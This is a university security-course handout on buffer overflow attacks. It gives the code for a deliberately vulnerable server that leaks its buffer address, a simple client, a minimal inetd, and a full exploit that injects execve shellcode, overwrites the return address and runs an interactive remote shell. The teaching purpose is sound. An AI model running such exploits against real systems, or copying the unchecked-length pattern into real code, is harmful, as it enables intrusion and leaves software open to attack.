```
CS 202, Spring 2023
Handout 12 (class 23)
24 April 2023

1. Introduction to buffer overflow attacks

     There are many ways to attack computers. Today we study the
     "classic" method.

     This method has been adapted to many different types of attacks, but
     the concepts are similar.

     We study this attack not to teach you all to become hackers but
     rather to educate you about vulnerabilities: what they are, how they
     work, and how to defend against them. Please remember: _although the
     approaches used to break into computers are very interesting,
     breaking in to a computer that you do not own is, in most cases, a
     criminal act_.

2. Let's examine a vulnerable server, buggy-server.c

3. Now let's examine how an unscrupulous element (a hacker, a script
kiddie, a worm, and so on) might exploit the server.


Thanks to Russ Cox for the original version of the code, targeting
Linux's 32-bit x86.

```



```
/*
 * Author: Russ Cox, rsc@swtch.com
 * Date: April 28, 2006
 *
 * Comments and modifications by Michael Walfish, 2006-2015
 * Ported to x86-64: Michael Walfish, 2019
 *
 * A very simple server that expects a message of the form:
 *     <length-of-msg><msg>
 *  and then prints to stdout (fd = 1) whatever 'msg' the client
 *  supplied.
 *
 * The server expects its input on stdin (fd = 0) and writes its
 * output to stdout (fd = 1). The intent is that these fds actually
 * correspond to a network (TCP) connection; this is arranged by the
 * program tcpserve.
 *
 * The server allocates enough room for 96 bytes for 'msg'.
 * But the server does not check that the actual message length
 * is indeed less than 96 bytes, which is a (common) bug that an
 * attacker can exploit.
 *
 * Ridiculously, this server *tells* the client where in memory
 * the buffer is located. This makes the example easier.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

enum
{
    offset = 120
};

void
serve(void)
{
        int n;
        char buf[96];
        char* rbp;

        memset(buf, 0, sizeof buf);

        /* Server obligingly tells client where in memory 'buf' is located. */
        fprintf(stdout, "the address of the buffer is %p\n", (void*)buf);

        /* This next line actually gets stdout to the client */
        fflush(stdout);

        /* Read in the length from the client; store the length in 'n' */
        fread(&n, 1, sizeof n, stdin);

        /*
         * The return address lives directly above where the frame
         * pointer, rbp, is pointing. This area of memory is 'offset' bytes
         * past the start of 'buf', as we learn by examining a
         * disassembly of buggy-server.  Below we illustrate that rbp+8
         * and buf+offset are holding the same data. To print out the
         * return address, we use buf[offset].
         */

        asm volatile("movq %%rbp, %0" : "=r" (rbp));
        assert(*(long int*)(rbp+8) == *(long int*)(buf + offset));

        fprintf(stdout, "My return address is: %lx\n", *(long int*)(buf + offset));
        fflush(stdout);

        /* Now read in n bytes from the client. */
        fread(buf, 1, n, stdin);

        fprintf(stdout, "My return address is now: %lx\n", *(long int*)(buf + offset));
        fflush(stdout);
```

```
74
75          /*
76           * This server is very simple so just tells the client whatever
77           * the client gave the server. A real server would process buf
78           * somehow.
79           */
80          fprintf(stdout, "you gave me: %s\n", buf);
81          fflush(stdout);
82  }
83
84  int
85  main(void)
86  {
87          serve();
88          return 0;
89  }
```



```
1   #include <stdio.h>
2   #include <stdlib.h>
3   #include <unistd.h>
4   #include <errno.h>
5   #include <string.h>
6   #include <sys/types.h>
7   #include <sys/socket.h>
8   #include <netinet/in.h>
9   #include <netinet/tcp.h>
10  #include <arpa/inet.h>
11
12  int dial(uint32_t, uint16_t);
13
14  int
15  main(int argc, char** argv)
16  {
17          char buf[400];
18          int n, fd;
19          long int addr;
20          uint32_t server_ip_addr; uint16_t server_port;
21          char* msg;
22
23          if (argc != 3) {
24                  fprintf(stderr, "usage: %s ip_addr port\n", argv[0]);
25                  exit(1);
26          }
27
28          server_ip_addr = inet_addr(argv[1]);
29          server_port    = htons(atoi(argv[2]));
30
31          if ((fd = dial(server_ip_addr, server_port)) < 0) {
32                  fprintf(stderr, "dial: %s\n", strerror(errno));
33                  exit(1);
34          }
35
36          if ( (n = read(fd, buf, sizeof buf-1)) < 0) {
37                  fprintf(stderr, "socket read: %s\n", strerror(errno));
38                  exit(1);
39          }
40
41          buf[n] = 0;
42          if(strncmp(buf, "the address of the buffer is ", 29) != 0){
43                  fprintf(stderr, "bad message: %s\n", buf);
44                  exit(1);
45          }
46
47          addr = strtoull(buf+29, 0, 0);
48          fprintf(stderr, "remote buffer is %lx\n", addr);
49
50          /*
51           * the next lines write a message to the server, in the format
52           * that the server is expecting: first the length (n) then the
53           * message itself.
54           */
55
56          msg = "hello, exploitable server.";
57          n = strlen(msg);
58          write(fd, &n, sizeof n);
59          write(fd, msg, n);
60
61          while((n = read(fd, buf, sizeof buf)) > 0)
62              write(1, buf, n);
63
64          return 0;
65  }
66
67  int
68  dial(uint32_t dest_ip, uint16_t dest_port) {
69          int fd;
70          struct sockaddr_in sin;
71
72          if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
73              return -1;
```

```
74
75          memset(&sin, 0, sizeof sin);
76          sin.sin_family      = AF_INET;
77          sin.sin_port        = dest_port;
78          sin.sin_addr.s_addr = dest_ip;
79
80          /* begin a TCP connection to the server */
81          if (connect(fd, (struct sockaddr*)&sin, sizeof sin) < 0)
82              return -1;
83
84          return fd;
85  }
```



```
1   /*
2    * Author: Russ Cox, rsc@csail.mit.edu
3    * Date: April 28, 2006
4    *
5    *  (Comments by MW.)
6    *
7    *  This program is a simplified 'inetd'. That is, this program takes some
8    *  other program, 'prog', and runs prog "over the network", by:
9    *
10   *      --listening to a particular TCP port, p
11   *      --creating a new TCP connection every time a client connects
12   *        on p
13   *      --running a new instance of prog, where the stdin and stdout for
14   *        the new process are actually the new TCP connection
15   *
16   *   In this way, 'prog' can talk to a TCP client without ever "realizing"
17   *   that it is talking over the network. This "replacement" of the usual
18   *   values of stdin and stdout with a network connection is exactly what
19   *   happens with shell pipes. With pipes, a process's stdin or stdout
20   *   becomes the pipe, via the dup2() system call.
21   */
22  #include <stdio.h>
23  #include <stdlib.h>
24  #include <unistd.h>
25  #include <string.h>
26  #include <netdb.h>
27  #include <signal.h>
28  #include <fcntl.h>
29  #include <errno.h>
30  #include <sys/types.h>
31  #include <sys/socket.h>
32  #include <netinet/in.h>
33  #include <arpa/inet.h>
34
35  char **execargs;
36
37  /*
38   * This function contains boilerplate code for setting up a
39   * TCP server. It's called "announce" because, if a network does not
40   * filter ICMP messages, it is clear whether or
41   * not some service is listening on the given port.
42   */
43  int
44  announce(int port)
45  {
46          int fd, n;
47          struct sockaddr_in sin;
48
49          memset(&sin, 0, sizeof sin);
50          sin.sin_family = AF_INET;
51          sin.sin_port = htons(port);
52          sin.sin_addr.s_addr = htonl(INADDR_ANY);
53
54          if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
55                  perror("socket");
56                  return -1;
57          }
58
59          n = 1;
60          if(setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char*)&n, sizeof n) < 0){
61                  perror("reuseaddr");
62                  close(fd);
63                  return -1;
64          }
65
66          fcntl(fd, F_SETFD, 1);
67          if(bind(fd, (struct sockaddr*)&sin, sizeof sin) < 0){
68                  perror("bind");
69                  close(fd);
70                  return -1;
71          }
72          if(listen(fd, 10) < 0){
73                  perror("listen");
```

```
74                      close(fd);
75                      return -1;
76              }
77              return fd;
78      }
79
80      int
81      startprog(int fd)
82      {
83              /*
84               * Here is where the replacement of the usual stdin and stdout
85               * happen. The next three lines say, "Ignore whatever value we used to
86               * have for stdin, stdout, and stderr, and replace those three with
87               * the network connection."
88               */
89              dup2(fd, 0);
90              dup2(fd, 1);
91              dup2(fd, 2);
92              if(fd > 2)
93                      close(fd);
94
95              /* Now run 'prog' */
96              execvp(execargs[0], execargs);
97
98              /*
99               * If the exec was successful, tcpserve will not make it to this
100              * line.
101              */
102             printf("exec %s: %s\n", execargs[0], strerror(errno));
103             fflush(stdout);
104             exit(0);
105     }
106
107     int
108     main(int argc, char **argv)
109     {
110             int afd, fd, port;
111             struct sockaddr_in sin;
112             struct sigaction sa;
113             socklen_t sn;
114
115             if(argc < 3 || argv[1][0] == '-'){
116             Usage:
117                     fprintf(stderr, "usage: tcpserve port prog [args...]\n");
118                     return 1;
119             }
120
121             port = atoi(argv[1]);
122             if(port == 0)
123                     goto Usage;
124             execargs = argv+2;
125
126             sa.sa_handler = SIG_IGN;
127             sa.sa_flags = SA_NOCLDSTOP|SA_NOCLDWAIT;
128             sigaction(SIGCHLD, &sa, 0);
129
130             if((afd = announce(port)) < 0)
131                     return 1;
132
133             sn = sizeof sin;
134             while((fd = accept(afd, (struct sockaddr*)&sin, &sn)) >= 0){
135
136                     /*
137                      * At this point, 'fd' is the file descriptor that
138                      * corresponds to the new TCP connection. The next
139                      * line forks off a child process to handle this TCP
140                      * connection. That child process will eventually become
141                      * 'prog'.
142                      */
143                     switch(fork()){
144                     case -1:
145                             fprintf(stderr, "fork: %s\n", strerror(errno));
146                             close(fd);
```



```
147                             continue;
148                     case 0:
149                             /* this case is executed by the child process */
150                             startprog(fd);
151                             _exit(1);
152                     }
153                     close(fd);
154             }
155             return 0;
156     }
```

```
/*
 * Author: Russ Cox, rsc@swtch.com
 * Date: April 28, 2006
 *
 * Comments and modifications by Michael Walfish, 2006-2015
 * Ported to x86-64 by Michael Walfish, 2019
 *
 * This program exploits the server buggy-server.c. It works by taking
 * advantage of the facts that (1) the server has told the client (that is, us)
 * the address of its buffer and (2) the server is sloppy and does not check
 * the length of the message to see whether the message can fit in the buffer.
 *
 * The exploit sends enough data to overwrite the return address in the
 * server's current stack frame. That return address will be overwritten to
 * point to the very buffer we are supplying to the server, and that very buffer
 * contains machine instructions! The particular machine instructions
 * cause the server to exec a shell, which means that the server process
 * will be replaced by a shell, and the exploit will thus have "broken into"
 * the server.
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>


/*
 * This is a simple assembly program to exec a shell. The program
 * is incomplete, though. We cannot complete it until the server
 * tells us where its stack is located.
 */

char shellcode[] =
  "\x48\xc7\xc0\x3b\x00\x00\x00" /* movq $59, %rax; load the code for 'exec' */
  "\x48\xbf\x00\x00\x00\x00\x00\x00\x00\x00"   /* movabsq $0, %rdi; INCOMPLETE */
  "\x48\xbe\x00\x00\x00\x00\x00\x00\x00\x00"   /* movabsq $0, %rsi; INCOMPLETE */
  "\x48\xba\x00\x00\x00\x00\x00\x00\x00\x00"   /* movabsq $0, %rdx; INCOMPLETE */
  "\x0f\x05"           /* syscall; do whatever system call is given by %rax */
  "/bin/sh\0"          /* "/bin/sh\0"; the program we will exec */
  "-i\0"                   /* "-i\0"; the argument to the program */


  /* 0; INCOMPLETE. will be address of string "/bin/sh" */
  "\x00\x00\x00\x00\x00\x00\x00\x00"

  /* 0; INCOMPLETE. will be address of string "-i" */
  "\x00\x00\x00\x00\x00\x00\x00\x00"

  /* 0 */
  "\x00\x00\x00\x00\x00\x00\x00\x00"

; /* end shellcode */


enum
{       /* offsets into assembly */
        MovRdi = 9,     /* constant moved into rdi */
        MovRsi = 19,    /* ... into rsi */
        MovRdx = 29,    /* ... into rdx */
        Arg0 = 39,      /* string arg0 ("/bin/sh") */
        Arg1 = 47,      /* string arg1 ("-i") */
        Arg0Ptr = 50,   /* ptr to arg0 (==argv[0]) */
        Arg1Ptr = 58,   /* ptr to arg1 (==argv[1]) */
        Arg2Ptr = 66,   /* zero (==argv[2]) */
};
```



```
enum
{
        REMOTE_BUF_LEN = 96,
        NCOPIES = 24
};

int dial(uint32_t, uint16_t);

int
main(int argc, char** argv)
{
        char helpfulinfo[100];
        char msg[REMOTE_BUF_LEN + NCOPIES*8];
        int i, n, fd;
        long int addr;
        uint32_t victim_ip_addr;
        uint16_t victim_port;

        if (argc != 3) {
                fprintf(stderr, "usage: exploit ip_addr port\n");
                exit(1);
        }

        victim_ip_addr = inet_addr(argv[1]);
        victim_port    = htons(atoi(argv[2]));

        fd = dial(victim_ip_addr, victim_port);
        if(fd < 0){
                fprintf(stderr, "dial: %s\n", strerror(errno));
                exit(1);
        }

        /*
         * this line reads the line from the server wherein the server
         * tells the client where its stack is located. (thank you,
         * server!)
         */
        n = read(fd, helpfulinfo, sizeof helpfulinfo-1);
        if(n < 0){
                fprintf(stderr, "socket read: %s\n", strerror(errno));
                exit(1);
        }
        /* null-terminate our copy of the helpful information */
        helpfulinfo[n] = 0;

        /*
         * check to make sure that the server gave us the helpful
         * information we were expecting.
         */
        if(strncmp(helpfulinfo, "the address of the buffer is ", 29) != 0){
                fprintf(stderr, "bad message: %s\n", helpfulinfo);
                exit(1);
        }

        /*
         * Pull out the actual address where the server's buf is stored.
         * we use this address below, as we construct our assembly code.
         */
        addr = strtoull(helpfulinfo+29, 0, 0);
        fprintf(stderr, "remote buffer is at address %lx\n", addr);

        /*
         * Here, we construct the contents of msg. We'll copy the
         * shellcode into msg and also "fill out" this little assembly
         * program with some needed constants.
         */
        memmove(msg, shellcode, sizeof shellcode);

        /*
         * fill in the arguments to exec. The first argument is a
         * pointer to the name of the program to execute, so we fill in
         * the address of the string, "/bin/sh".
         */
```

```
145         *(long int*)(msg+MovRdi) = addr + Arg0;
146
147         /*
148          * The second argument is a pointer to the argv array (which is
149          * itself an array of pointers) that the shell will be passed.
150          * This array is currently not filled in, but we can still put a
151          * pointer to the array in the shellcode.
152          */
153         *(long int*)(msg + MovRsi) = addr + Arg0Ptr;
154
155         /* The third argument is the address of a location that holds 0 */
156         *(long int*)(msg + MovRdx) = addr + Arg2Ptr;
157
158         /*
159          * The array of addresses mentioned above are the arguments that
160          * /bin/sh should begin with. In our case, /bin/sh only begins
161          * with its own name and "-i", which means "interactive". These
162          * lines load the 'argv' array.
163          */
164         *(long int*)(msg + Arg0Ptr) = addr + Arg0;
165         *(long int*)(msg + Arg1Ptr) = addr + Arg1;
166
167         /*
168          * This line is one of the keys -- it places NCOPIES different copies
169          * of our desired return address, which is the start of the message
170          * in the server's address space. We use multiple copies in the hope
171          * that one of them overwrites the return address on the stack. We
172          * could have used more copies or fewer.
173          */
174         for(i=0; i<NCOPIES; i++)
175                 *(long int*)(msg + REMOTE_BUF_LEN + i*8) = addr;
176
177         n = REMOTE_BUF_LEN + NCOPIES*8;
178         /* Tell the server how long our message is. */
179         write(fd, &n, 4);
180         /* And now send the message, thereby smashing the server's stack.*/
181         write(fd, msg, n);
182
183         /* These next lines:
184          *   (1) read from the client's stdin, and write to the network
185          *   connection (which should now have a shell on the other
186          *   end);
187          *   (2) read from the network connection, and write to the
188          *   client's stdout.
189          *
190          *   In other words, these lines take care of the I/O for the
191          *   shell that is running on the server. In this way, we on the
192          *   client can control the shell that is running on the server.
193          */
194         switch(fork()){
195         case 0:
196                 while((n = read(0, msg, sizeof msg)) > 0)
197                         write(fd, msg, n);
198                 fprintf(stderr, "eof from local\n");
199                 break;
200         default:
201                 while((n = read(fd, msg, sizeof msg)) > 0)
202                         write(1, msg, n);
203                 fprintf(stderr, "eof from remote\n");
204                 break;
205         }
206         return 0;
207 }
208
209 /* boilerplate networking code for initiating a TCP connection */
210 int
211 dial(uint32_t dest_ip, uint16_t dest_port)
212 {
213         int fd;
214         struct sockaddr_in sin;
215
216         if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
217                 return -1;
```



```
218
219         memset(&sin, 0, sizeof sin);
220         sin.sin_family      = AF_INET;
221         sin.sin_port        = dest_port;
222         sin.sin_addr.s_addr = dest_ip;
223
224
225         /* begin a TCP connection to the victim */
226         if (connect(fd, (struct sockaddr*)&sin, sizeof sin) < 0)
227                 return -1;
228
229         return fd;
230 }
```